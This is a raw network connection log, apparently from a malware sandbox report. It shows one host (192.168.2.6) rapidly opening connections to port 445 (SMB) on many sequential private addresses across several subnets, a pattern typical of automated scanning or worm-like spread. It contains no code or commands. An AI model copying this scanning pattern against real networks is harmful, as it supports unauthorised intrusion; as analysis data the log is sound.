Jul 6, 2024 14:11:35.380629063 CEST	445	52473	192.168.3.247	192.168.2.6
Jul 6, 2024 14:11:35.381963015 CEST	52474	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:35.387033939 CEST	445	52474	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:35.387805939 CEST	52474	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:35.387805939 CEST	52474	445	192.168.2.6	192.168.1.217
Jul 6, 2024 14:11:35.389358044 CEST	52475	445	192.168.2.6	192.168.3.248
Jul 6, 2024 14:11:35.393184900 CEST	445	52474	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:35.393202066 CEST	445	52474	192.168.1.217	192.168.2.6
Jul 6, 2024 14:11:35.393558979 CEST	52470	445	192.168.2.6	192.168.3.118
Jul 6, 2024 14:11:35.393558979 CEST	52470	445	192.168.2.6	192.168.3.118
Jul 6, 2024 14:11:35.396747112 CEST	445	52467	192.168.3.117	192.168.2.6
Jul 6, 2024 14:11:35.398322105 CEST	445	52467	192.168.3.117	192.168.2.6
Jul 6, 2024 14:11:35.399898052 CEST	52477	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:35.399898052 CEST	52479	445	192.168.2.6	192.168.3.119
Jul 6, 2024 14:11:35.404665947 CEST	445	52477	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:35.404695988 CEST	52467	445	192.168.2.6	192.168.3.117
Jul 6, 2024 14:11:35.404841900 CEST	445	52479	192.168.3.119	192.168.2.6
Jul 6, 2024 14:11:35.409151077 CEST	445	52470	192.168.3.118	192.168.2.6
Jul 6, 2024 14:11:35.409468889 CEST	52480	445	192.168.2.6	192.168.3.249
Jul 6, 2024 14:11:35.409688950 CEST	445	52470	192.168.3.118	192.168.2.6
Jul 6, 2024 14:11:35.412725925 CEST	52478	445	192.168.2.6	192.168.3.120
Jul 6, 2024 14:11:35.413749933 CEST	52477	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:35.413749933 CEST	52477	445	192.168.2.6	192.168.1.219
Jul 6, 2024 14:11:35.413749933 CEST	52479	445	192.168.2.6	192.168.3.119
Jul 6, 2024 14:11:35.413749933 CEST	52479	445	192.168.2.6	192.168.3.119
Jul 6, 2024 14:11:35.414314985 CEST	52484	445	192.168.2.6	192.168.3.250
Jul 6, 2024 14:11:35.414422035 CEST	445	52480	192.168.3.249	192.168.2.6
Jul 6, 2024 14:11:35.414930105 CEST	445	52475	192.168.3.248	192.168.2.6
Jul 6, 2024 14:11:35.416608095 CEST	445	52467	192.168.3.117	192.168.2.6
Jul 6, 2024 14:11:35.417501926 CEST	52483	445	192.168.2.6	192.168.3.121
Jul 6, 2024 14:11:35.421036959 CEST	445	52484	192.168.3.250	192.168.2.6
Jul 6, 2024 14:11:35.421184063 CEST	52484	445	192.168.2.6	192.168.3.250
Jul 6, 2024 14:11:35.422899008 CEST	445	52477	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:35.422966003 CEST	445	52479	192.168.3.119	192.168.2.6
Jul 6, 2024 14:11:35.423002005 CEST	52480	445	192.168.2.6	192.168.3.249
Jul 6, 2024 14:11:35.423398018 CEST	445	52477	192.168.1.219	192.168.2.6
Jul 6, 2024 14:11:35.423407078 CEST	445	52479	192.168.3.119	192.168.2.6
Jul 6, 2024 14:11:35.427131891 CEST	445	52484	192.168.3.250	192.168.2.6
Jul 6, 2024 14:11:35.427184105 CEST	52484	445	192.168.2.6	192.168.3.250
Jul 6, 2024 14:11:35.428287983 CEST	445	52480	192.168.3.249	192.168.2.6
Jul 6, 2024 14:11:35.428735971 CEST	52482	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:35.428782940 CEST	52484	445	192.168.2.6	192.168.3.250
Jul 6, 2024 14:11:35.429076910 CEST	52486	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:35.429233074 CEST	52487	445	192.168.2.6	192.168.3.122
Jul 6, 2024 14:11:35.429516077 CEST	52480	445	192.168.2.6	192.168.3.249
Jul 6, 2024 14:11:35.429517031 CEST	52480	445	192.168.2.6	192.168.3.249
Jul 6, 2024 14:11:35.431126118 CEST	52489	445	192.168.2.6	192.168.3.251
Jul 6, 2024 14:11:35.431564093 CEST	445	52478	192.168.3.120	192.168.2.6
Jul 6, 2024 14:11:35.431915045 CEST	445	52483	192.168.3.121	192.168.2.6
Jul 6, 2024 14:11:35.433175087 CEST	52475	445	192.168.2.6	192.168.3.248
Jul 6, 2024 14:11:35.433175087 CEST	52475	445	192.168.2.6	192.168.3.248
Jul 6, 2024 14:11:35.433661938 CEST	445	52484	192.168.3.250	192.168.2.6
Jul 6, 2024 14:11:35.434015036 CEST	445	52486	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:35.434077978 CEST	52486	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:35.434139967 CEST	52486	445	192.168.2.6	192.168.1.220
Jul 6, 2024 14:11:35.434174061 CEST	445	52482	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:35.434318066 CEST	445	52487	192.168.3.122	192.168.2.6
Jul 6, 2024 14:11:35.434371948 CEST	52487	445	192.168.2.6	192.168.3.122
Jul 6, 2024 14:11:35.434422016 CEST	52487	445	192.168.2.6	192.168.3.122
Jul 6, 2024 14:11:35.434590101 CEST	445	52480	192.168.3.249	192.168.2.6
Jul 6, 2024 14:11:35.435985088 CEST	445	52489	192.168.3.251	192.168.2.6
Jul 6, 2024 14:11:35.436048031 CEST	52489	445	192.168.2.6	192.168.3.251
Jul 6, 2024 14:11:35.436140060 CEST	52489	445	192.168.2.6	192.168.3.251
Jul 6, 2024 14:11:35.437799931 CEST	52478	445	192.168.2.6	192.168.3.120
Jul 6, 2024 14:11:35.437799931 CEST	52478	445	192.168.2.6	192.168.3.120
Jul 6, 2024 14:11:35.437799931 CEST	52482	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:35.437800884 CEST	52482	445	192.168.2.6	192.168.1.218
Jul 6, 2024 14:11:35.439078093 CEST	445	52486	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:35.439085960 CEST	445	52486	192.168.1.220	192.168.2.6
Jul 6, 2024 14:11:35.439542055 CEST	445	52487	192.168.3.122	192.168.2.6
Jul 6, 2024 14:11:35.439551115 CEST	445	52487	192.168.3.122	192.168.2.6
Jul 6, 2024 14:11:35.441740036 CEST	445	52489	192.168.3.251	192.168.2.6
Jul 6, 2024 14:11:35.441920996 CEST	52489	445	192.168.2.6	192.168.3.251
Jul 6, 2024 14:11:35.443319082 CEST	445	52478	192.168.3.120	192.168.2.6
Jul 6, 2024 14:11:35.444638968 CEST	445	52478	192.168.3.120	192.168.2.6
Jul 6, 2024 14:11:35.444834948 CEST	52478	445	192.168.2.6	192.168.3.120
Jul 6, 2024 14:11:35.445298910 CEST	52490	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:35.446171045 CEST	445	52475	192.168.3.248	192.168.2.6
Jul 6, 2024 14:11:35.447412014 CEST	445	52482	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:35.447419882 CEST	445	52482	192.168.1.218	192.168.2.6
Jul 6, 2024 14:11:35.448472023 CEST	52483	445	192.168.2.6	192.168.3.121
Jul 6, 2024 14:11:35.448472023 CEST	52483	445	192.168.2.6	192.168.3.121
Jul 6, 2024 14:11:35.448472023 CEST	52491	445	192.168.2.6	192.168.3.123
Jul 6, 2024 14:11:35.450469971 CEST	445	52490	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:35.450921059 CEST	445	52478	192.168.3.120	192.168.2.6
Jul 6, 2024 14:11:35.451136112 CEST	52493	445	192.168.2.6	192.168.3.252
Jul 6, 2024 14:11:35.452698946 CEST	52490	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:35.452698946 CEST	52490	445	192.168.2.6	192.168.1.221
Jul 6, 2024 14:11:35.454425097 CEST	445	52483	192.168.3.121	192.168.2.6
Jul 6, 2024 14:11:35.454830885 CEST	445	52483	192.168.3.121	192.168.2.6
Jul 6, 2024 14:11:35.458283901 CEST	52475	445	192.168.2.6	192.168.3.248
Jul 6, 2024 14:11:35.458560944 CEST	445	52490	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:35.459275961 CEST	445	52490	192.168.1.221	192.168.2.6
Jul 6, 2024 14:11:35.460146904 CEST	52494	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:35.461956978 CEST	445	52493	192.168.3.252	192.168.2.6
Jul 6, 2024 14:11:35.461966991 CEST	445	52491	192.168.3.123	192.168.2.6
Jul 6, 2024 14:11:35.464042902 CEST	52495	445	192.168.2.6	192.168.3.253
Jul 6, 2024 14:11:35.464042902 CEST	52493	445	192.168.2.6	192.168.3.252
Jul 6, 2024 14:11:35.464042902 CEST	52493	445	192.168.2.6	192.168.3.252
Jul 6, 2024 14:11:35.466185093 CEST	445	52494	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:35.466244936 CEST	52494	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:35.466337919 CEST	52494	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:35.466625929 CEST	52491	445	192.168.2.6	192.168.3.123
Jul 6, 2024 14:11:35.466625929 CEST	52491	445	192.168.2.6	192.168.3.123
Jul 6, 2024 14:11:35.470006943 CEST	445	52495	192.168.3.253	192.168.2.6
Jul 6, 2024 14:11:35.470154047 CEST	445	52493	192.168.3.252	192.168.2.6
Jul 6, 2024 14:11:35.471293926 CEST	52495	445	192.168.2.6	192.168.3.253
Jul 6, 2024 14:11:35.471293926 CEST	52495	445	192.168.2.6	192.168.3.253
Jul 6, 2024 14:11:35.471605062 CEST	445	52494	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:35.471788883 CEST	445	52494	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:35.472719908 CEST	445	52491	192.168.3.123	192.168.2.6
Jul 6, 2024 14:11:35.473177910 CEST	445	52493	192.168.3.252	192.168.2.6
Jul 6, 2024 14:11:35.475976944 CEST	52494	445	192.168.2.6	192.168.1.222
Jul 6, 2024 14:11:35.476021051 CEST	52499	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:35.476315975 CEST	52501	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:35.477833986 CEST	52497	445	192.168.2.6	192.168.3.126
Jul 6, 2024 14:11:35.477833986 CEST	52498	445	192.168.2.6	192.168.3.125
Jul 6, 2024 14:11:35.479305029 CEST	52503	445	192.168.2.6	192.168.3.254
Jul 6, 2024 14:11:35.479671955 CEST	52493	445	192.168.2.6	192.168.3.252
Jul 6, 2024 14:11:35.480123997 CEST	52500	445	192.168.2.6	192.168.3.124
Jul 6, 2024 14:11:35.481118917 CEST	445	52494	192.168.1.222	192.168.2.6
Jul 6, 2024 14:11:35.481221914 CEST	445	52499	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:35.481275082 CEST	52499	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:35.481337070 CEST	445	52501	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:35.481353045 CEST	52499	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:35.482326984 CEST	52501	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:35.482326984 CEST	52501	445	192.168.2.6	192.168.1.224
Jul 6, 2024 14:11:35.482935905 CEST	445	52497	192.168.3.126	192.168.2.6
Jul 6, 2024 14:11:35.482944965 CEST	445	52498	192.168.3.125	192.168.2.6
Jul 6, 2024 14:11:35.483004093 CEST	52497	445	192.168.2.6	192.168.3.126
Jul 6, 2024 14:11:35.483076096 CEST	52498	445	192.168.2.6	192.168.3.125
Jul 6, 2024 14:11:35.483076096 CEST	52498	445	192.168.2.6	192.168.3.125
Jul 6, 2024 14:11:35.484164953 CEST	445	52503	192.168.3.254	192.168.2.6
Jul 6, 2024 14:11:35.484862089 CEST	445	52495	192.168.3.253	192.168.2.6
Jul 6, 2024 14:11:35.484966040 CEST	445	52500	192.168.3.124	192.168.2.6
Jul 6, 2024 14:11:35.485023022 CEST	52500	445	192.168.2.6	192.168.3.124
Jul 6, 2024 14:11:35.485090971 CEST	52500	445	192.168.2.6	192.168.3.124
Jul 6, 2024 14:11:35.486229897 CEST	445	52499	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:35.486280918 CEST	52499	445	192.168.2.6	192.168.1.223
Jul 6, 2024 14:11:35.486481905 CEST	445	52499	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:35.487934113 CEST	445	52498	192.168.3.125	192.168.2.6
Jul 6, 2024 14:11:35.488152981 CEST	445	52497	192.168.3.126	192.168.2.6
Jul 6, 2024 14:11:35.488341093 CEST	52498	445	192.168.2.6	192.168.3.125
Jul 6, 2024 14:11:35.488341093 CEST	52497	445	192.168.2.6	192.168.3.126
Jul 6, 2024 14:11:35.488475084 CEST	445	52498	192.168.3.125	192.168.2.6
Jul 6, 2024 14:11:35.489156961 CEST	52495	445	192.168.2.6	192.168.3.253
Jul 6, 2024 14:11:35.489877939 CEST	445	52500	192.168.3.124	192.168.2.6
Jul 6, 2024 14:11:35.490515947 CEST	445	52500	192.168.3.124	192.168.2.6
Jul 6, 2024 14:11:35.491153002 CEST	445	52499	192.168.1.223	192.168.2.6
Jul 6, 2024 14:11:35.491205931 CEST	52503	445	192.168.2.6	192.168.3.254
Jul 6, 2024 14:11:35.491205931 CEST	52503	445	192.168.2.6	192.168.3.254
Jul 6, 2024 14:11:35.493227005 CEST	445	52498	192.168.3.125	192.168.2.6
Jul 6, 2024 14:11:35.493232965 CEST	52504	445	192.168.2.6	192.168.3.127
Jul 6, 2024 14:11:35.494049072 CEST	52506	445	192.168.2.6	192.168.3.255
Jul 6, 2024 14:11:35.496082067 CEST	445	52501	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:35.496439934 CEST	445	52501	192.168.1.224	192.168.2.6
Jul 6, 2024 14:11:35.496529102 CEST	445	52503	192.168.3.254	192.168.2.6
Jul 6, 2024 14:11:35.497148037 CEST	52503	445	192.168.2.6	192.168.3.254
Jul 6, 2024 14:11:35.498307943 CEST	445	52504	192.168.3.127	192.168.2.6
Jul 6, 2024 14:11:35.499043941 CEST	52504	445	192.168.2.6	192.168.3.127
Jul 6, 2024 14:11:35.499043941 CEST	52504	445	192.168.2.6	192.168.3.127
Jul 6, 2024 14:11:35.499118090 CEST	445	52506	192.168.3.255	192.168.2.6
Jul 6, 2024 14:11:35.500231981 CEST	52506	445	192.168.2.6	192.168.3.255
Jul 6, 2024 14:11:35.500231981 CEST	52506	445	192.168.2.6	192.168.3.255
Jul 6, 2024 14:11:35.506984949 CEST	52507	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:35.507155895 CEST	52508	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:35.507294893 CEST	52509	445	192.168.2.6	192.168.3.128
Jul 6, 2024 14:11:35.508304119 CEST	52510	445	192.168.2.6	192.168.4.1
Jul 6, 2024 14:11:35.510762930 CEST	445	52504	192.168.3.127	192.168.2.6
Jul 6, 2024 14:11:35.513609886 CEST	445	52507	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:35.513621092 CEST	445	52508	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:35.513631105 CEST	445	52509	192.168.3.128	192.168.2.6
Jul 6, 2024 14:11:35.513639927 CEST	445	52510	192.168.4.1	192.168.2.6
Jul 6, 2024 14:11:35.513727903 CEST	52508	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:35.513858080 CEST	52508	445	192.168.2.6	192.168.1.226
Jul 6, 2024 14:11:35.514341116 CEST	52509	445	192.168.2.6	192.168.3.128
Jul 6, 2024 14:11:35.514341116 CEST	52510	445	192.168.2.6	192.168.4.1
Jul 6, 2024 14:11:35.514341116 CEST	52509	445	192.168.2.6	192.168.3.128
Jul 6, 2024 14:11:35.514341116 CEST	52510	445	192.168.2.6	192.168.4.1
Jul 6, 2024 14:11:35.515052080 CEST	445	52504	192.168.3.127	192.168.2.6
Jul 6, 2024 14:11:35.515333891 CEST	445	52506	192.168.3.255	192.168.2.6
Jul 6, 2024 14:11:35.516779900 CEST	52507	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:35.516779900 CEST	52507	445	192.168.2.6	192.168.1.225
Jul 6, 2024 14:11:35.516779900 CEST	52506	445	192.168.2.6	192.168.3.255
Jul 6, 2024 14:11:35.521636009 CEST	445	52508	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:35.521662951 CEST	445	52509	192.168.3.128	192.168.2.6
Jul 6, 2024 14:11:35.523344040 CEST	445	52510	192.168.4.1	192.168.2.6
Jul 6, 2024 14:11:35.523411036 CEST	445	52508	192.168.1.226	192.168.2.6
Jul 6, 2024 14:11:35.523437977 CEST	445	52509	192.168.3.128	192.168.2.6
Jul 6, 2024 14:11:35.523488998 CEST	445	52510	192.168.4.1	192.168.2.6
Jul 6, 2024 14:11:35.523850918 CEST	445	52507	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:35.523966074 CEST	445	52507	192.168.1.225	192.168.2.6
Jul 6, 2024 14:11:35.524338007 CEST	52510	445	192.168.2.6	192.168.4.1
Jul 6, 2024 14:11:35.525639057 CEST	52513	445	192.168.2.6	192.168.4.2
Jul 6, 2024 14:11:35.531032085 CEST	445	52513	192.168.4.2	192.168.2.6
Jul 6, 2024 14:11:35.531611919 CEST	52513	445	192.168.2.6	192.168.4.2
Jul 6, 2024 14:11:35.531611919 CEST	52513	445	192.168.2.6	192.168.4.2
Jul 6, 2024 14:11:35.536653042 CEST	445	52513	192.168.4.2	192.168.2.6
Jul 6, 2024 14:11:35.536695957 CEST	52513	445	192.168.2.6	192.168.4.2
Jul 6, 2024 14:11:35.539879084 CEST	52516	445	192.168.2.6	192.168.4.3
Jul 6, 2024 14:11:35.540452003 CEST	52514	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:35.545047045 CEST	445	52516	192.168.4.3	192.168.2.6
Jul 6, 2024 14:11:35.545111895 CEST	52516	445	192.168.2.6	192.168.4.3
Jul 6, 2024 14:11:35.545212030 CEST	52516	445	192.168.2.6	192.168.4.3
Jul 6, 2024 14:11:35.545558929 CEST	445	52514	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:35.550008059 CEST	52514	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:35.550008059 CEST	52514	445	192.168.2.6	192.168.1.227
Jul 6, 2024 14:11:35.550199986 CEST	445	52516	192.168.4.3	192.168.2.6
Jul 6, 2024 14:11:35.550242901 CEST	52516	445	192.168.2.6	192.168.4.3
Jul 6, 2024 14:11:35.554964066 CEST	445	52514	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:35.555257082 CEST	445	52514	192.168.1.227	192.168.2.6
Jul 6, 2024 14:11:35.556989908 CEST	52517	445	192.168.2.6	192.168.3.130
Jul 6, 2024 14:11:35.558175087 CEST	52518	445	192.168.2.6	192.168.4.4
Jul 6, 2024 14:11:35.561836004 CEST	445	52517	192.168.3.130	192.168.2.6
Jul 6, 2024 14:11:35.561891079 CEST	52517	445	192.168.2.6	192.168.3.130
Jul 6, 2024 14:11:35.561954021 CEST	52517	445	192.168.2.6	192.168.3.130
Jul 6, 2024 14:11:35.564491987 CEST	445	52518	192.168.4.4	192.168.2.6
Jul 6, 2024 14:11:35.564593077 CEST	52518	445	192.168.2.6	192.168.4.4
Jul 6, 2024 14:11:35.566811085 CEST	445	52517	192.168.3.130	192.168.2.6
Jul 6, 2024 14:11:35.566859007 CEST	52517	445	192.168.2.6	192.168.3.130
Jul 6, 2024 14:11:35.567262888 CEST	445	52517	192.168.3.130	192.168.2.6
Jul 6, 2024 14:11:35.569272041 CEST	52518	445	192.168.2.6	192.168.4.4
Jul 6, 2024 14:11:35.569608927 CEST	52520	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:35.569736004 CEST	52521	445	192.168.2.6	192.168.3.129
Jul 6, 2024 14:11:35.569889069 CEST	52522	445	192.168.2.6	192.168.3.131
Jul 6, 2024 14:11:35.570126057 CEST	52523	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:35.570740938 CEST	445	52518	192.168.4.4	192.168.2.6
Jul 6, 2024 14:11:35.570795059 CEST	52518	445	192.168.2.6	192.168.4.4
Jul 6, 2024 14:11:35.571611881 CEST	445	52517	192.168.3.130	192.168.2.6
Jul 6, 2024 14:11:35.572010040 CEST	52525	445	192.168.2.6	192.168.4.5
Jul 6, 2024 14:11:35.574387074 CEST	445	52518	192.168.4.4	192.168.2.6
Jul 6, 2024 14:11:35.574398041 CEST	445	52520	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:35.574548006 CEST	445	52521	192.168.3.129	192.168.2.6
Jul 6, 2024 14:11:35.574596882 CEST	52520	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:35.574596882 CEST	52520	445	192.168.2.6	192.168.1.228
Jul 6, 2024 14:11:35.574603081 CEST	52521	445	192.168.2.6	192.168.3.129
Jul 6, 2024 14:11:35.574647903 CEST	52521	445	192.168.2.6	192.168.3.129
Jul 6, 2024 14:11:35.574763060 CEST	445	52522	192.168.3.131	192.168.2.6
Jul 6, 2024 14:11:35.574825048 CEST	52522	445	192.168.2.6	192.168.3.131
Jul 6, 2024 14:11:35.574888945 CEST	52522	445	192.168.2.6	192.168.3.131
Jul 6, 2024 14:11:35.574934959 CEST	445	52523	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:35.574999094 CEST	52523	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:35.575175047 CEST	52523	445	192.168.2.6	192.168.1.229
Jul 6, 2024 14:11:35.576839924 CEST	445	52525	192.168.4.5	192.168.2.6
Jul 6, 2024 14:11:35.576908112 CEST	52525	445	192.168.2.6	192.168.4.5
Jul 6, 2024 14:11:35.577008009 CEST	52525	445	192.168.2.6	192.168.4.5
Jul 6, 2024 14:11:35.579535961 CEST	445	52521	192.168.3.129	192.168.2.6
Jul 6, 2024 14:11:35.579570055 CEST	445	52520	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:35.579720974 CEST	445	52522	192.168.3.131	192.168.2.6
Jul 6, 2024 14:11:35.579787970 CEST	445	52521	192.168.3.129	192.168.2.6
Jul 6, 2024 14:11:35.580193043 CEST	445	52520	192.168.1.228	192.168.2.6
Jul 6, 2024 14:11:35.580250978 CEST	445	52522	192.168.3.131	192.168.2.6
Jul 6, 2024 14:11:35.580296993 CEST	445	52523	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:35.580524921 CEST	445	52523	192.168.1.229	192.168.2.6
Jul 6, 2024 14:11:35.581957102 CEST	445	52525	192.168.4.5	192.168.2.6
Jul 6, 2024 14:11:35.582012892 CEST	52525	445	192.168.2.6	192.168.4.5
Jul 6, 2024 14:11:35.585310936 CEST	52526	445	192.168.2.6	192.168.3.132
Jul 6, 2024 14:11:35.585392952 CEST	52527	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:35.585489988 CEST	52528	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:35.590164900 CEST	445	52526	192.168.3.132	192.168.2.6
Jul 6, 2024 14:11:35.590253115 CEST	52526	445	192.168.2.6	192.168.3.132
Jul 6, 2024 14:11:35.590328932 CEST	445	52527	192.168.1.230	192.168.2.6
Jul 6, 2024 14:11:35.590389967 CEST	52527	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:35.590730906 CEST	445	52528	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:35.594335079 CEST	52528	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:35.595830917 CEST	445	52527	192.168.1.230	192.168.2.6
Jul 6, 2024 14:11:35.596204042 CEST	52527	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:35.596299887 CEST	52526	445	192.168.2.6	192.168.3.132
Jul 6, 2024 14:11:35.596421957 CEST	52527	445	192.168.2.6	192.168.1.230
Jul 6, 2024 14:11:35.596527100 CEST	52528	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:35.598481894 CEST	52529	445	192.168.2.6	192.168.4.6
Jul 6, 2024 14:11:35.599270105 CEST	445	52528	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:35.599333048 CEST	52528	445	192.168.2.6	192.168.1.231
Jul 6, 2024 14:11:35.601229906 CEST	445	52526	192.168.3.132	192.168.2.6
Jul 6, 2024 14:11:35.601278067 CEST	445	52527	192.168.1.230	192.168.2.6
Jul 6, 2024 14:11:35.601319075 CEST	445	52528	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:35.601682901 CEST	52531	445	192.168.2.6	192.168.4.7
Jul 6, 2024 14:11:35.603427887 CEST	445	52529	192.168.4.6	192.168.2.6
Jul 6, 2024 14:11:35.603487968 CEST	52529	445	192.168.2.6	192.168.4.6
Jul 6, 2024 14:11:35.604636908 CEST	445	52528	192.168.1.231	192.168.2.6
Jul 6, 2024 14:11:35.606654882 CEST	445	52531	192.168.4.7	192.168.2.6
Jul 6, 2024 14:11:35.606723070 CEST	52531	445	192.168.2.6	192.168.4.7
Jul 6, 2024 14:11:35.606806040 CEST	52531	445	192.168.2.6	192.168.4.7
Jul 6, 2024 14:11:35.608741045 CEST	445	52529	192.168.4.6	192.168.2.6
Jul 6, 2024 14:11:35.608789921 CEST	52529	445	192.168.2.6	192.168.4.6
Jul 6, 2024 14:11:35.611660004 CEST	445	52531	192.168.4.7	192.168.2.6
Jul 6, 2024 14:11:35.611707926 CEST	52531	445	192.168.2.6	192.168.4.7
Jul 6, 2024 14:11:35.611819029 CEST	445	52531	192.168.4.7	192.168.2.6
Jul 6, 2024 14:11:35.616117954 CEST	52529	445	192.168.2.6	192.168.4.6
Jul 6, 2024 14:11:35.616282940 CEST	52533	445	192.168.2.6	192.168.3.134
Jul 6, 2024 14:11:35.616391897 CEST	52534	445	192.168.2.6	192.168.3.133
Jul 6, 2024 14:11:35.616445065 CEST	52535	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:35.617835045 CEST	52539	445	192.168.2.6	192.168.4.8
Jul 6, 2024 14:11:35.618618011 CEST	52536	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:35.618618011 CEST	52537	445	192.168.2.6	192.168.3.135
Jul 6, 2024 14:11:35.621049881 CEST	445	52529	192.168.4.6	192.168.2.6
Jul 6, 2024 14:11:35.621361017 CEST	445	52533	192.168.3.134	192.168.2.6
Jul 6, 2024 14:11:35.621421099 CEST	52533	445	192.168.2.6	192.168.3.134
Jul 6, 2024 14:11:35.621515036 CEST	52533	445	192.168.2.6	192.168.3.134
Jul 6, 2024 14:11:35.621753931 CEST	445	52534	192.168.3.133	192.168.2.6
Jul 6, 2024 14:11:35.621805906 CEST	52534	445	192.168.2.6	192.168.3.133
Jul 6, 2024 14:11:35.621817112 CEST	445	52535	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:35.621861935 CEST	52535	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:35.621884108 CEST	52534	445	192.168.2.6	192.168.3.133
Jul 6, 2024 14:11:35.621932030 CEST	52535	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:35.623276949 CEST	445	52539	192.168.4.8	192.168.2.6
Jul 6, 2024 14:11:35.624192953 CEST	52539	445	192.168.2.6	192.168.4.8
Jul 6, 2024 14:11:35.624192953 CEST	52539	445	192.168.2.6	192.168.4.8
Jul 6, 2024 14:11:35.626455069 CEST	445	52533	192.168.3.134	192.168.2.6
Jul 6, 2024 14:11:35.626463890 CEST	445	52533	192.168.3.134	192.168.2.6
Jul 6, 2024 14:11:35.626607895 CEST	445	52534	192.168.3.133	192.168.2.6
Jul 6, 2024 14:11:35.626943111 CEST	445	52534	192.168.3.133	192.168.2.6
Jul 6, 2024 14:11:35.627286911 CEST	445	52535	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:35.627295971 CEST	445	52535	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:35.627823114 CEST	445	52536	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:35.627943993 CEST	445	52537	192.168.3.135	192.168.2.6
Jul 6, 2024 14:11:35.628094912 CEST	52535	445	192.168.2.6	192.168.1.232
Jul 6, 2024 14:11:35.632642984 CEST	52540	445	192.168.2.6	192.168.3.136
Jul 6, 2024 14:11:35.633155107 CEST	52536	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:35.633155107 CEST	52536	445	192.168.2.6	192.168.1.233
Jul 6, 2024 14:11:35.633155107 CEST	52537	445	192.168.2.6	192.168.3.135
Jul 6, 2024 14:11:35.633155107 CEST	52537	445	192.168.2.6	192.168.3.135
Jul 6, 2024 14:11:35.633304119 CEST	445	52535	192.168.1.232	192.168.2.6
Jul 6, 2024 14:11:35.635721922 CEST	445	52539	192.168.4.8	192.168.2.6
Jul 6, 2024 14:11:35.636176109 CEST	52541	445	192.168.2.6	192.168.4.9
Jul 6, 2024 14:11:35.639362097 CEST	445	52540	192.168.3.136	192.168.2.6
Jul 6, 2024 14:11:35.639970064 CEST	52539	445	192.168.2.6	192.168.4.8
Jul 6, 2024 14:11:35.639971018 CEST	52540	445	192.168.2.6	192.168.3.136
Jul 6, 2024 14:11:35.639971018 CEST	52540	445	192.168.2.6	192.168.3.136
Jul 6, 2024 14:11:35.642363071 CEST	445	52536	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:35.642371893 CEST	445	52537	192.168.3.135	192.168.2.6
Jul 6, 2024 14:11:35.642501116 CEST	445	52536	192.168.1.233	192.168.2.6
Jul 6, 2024 14:11:35.643019915 CEST	445	52537	192.168.3.135	192.168.2.6
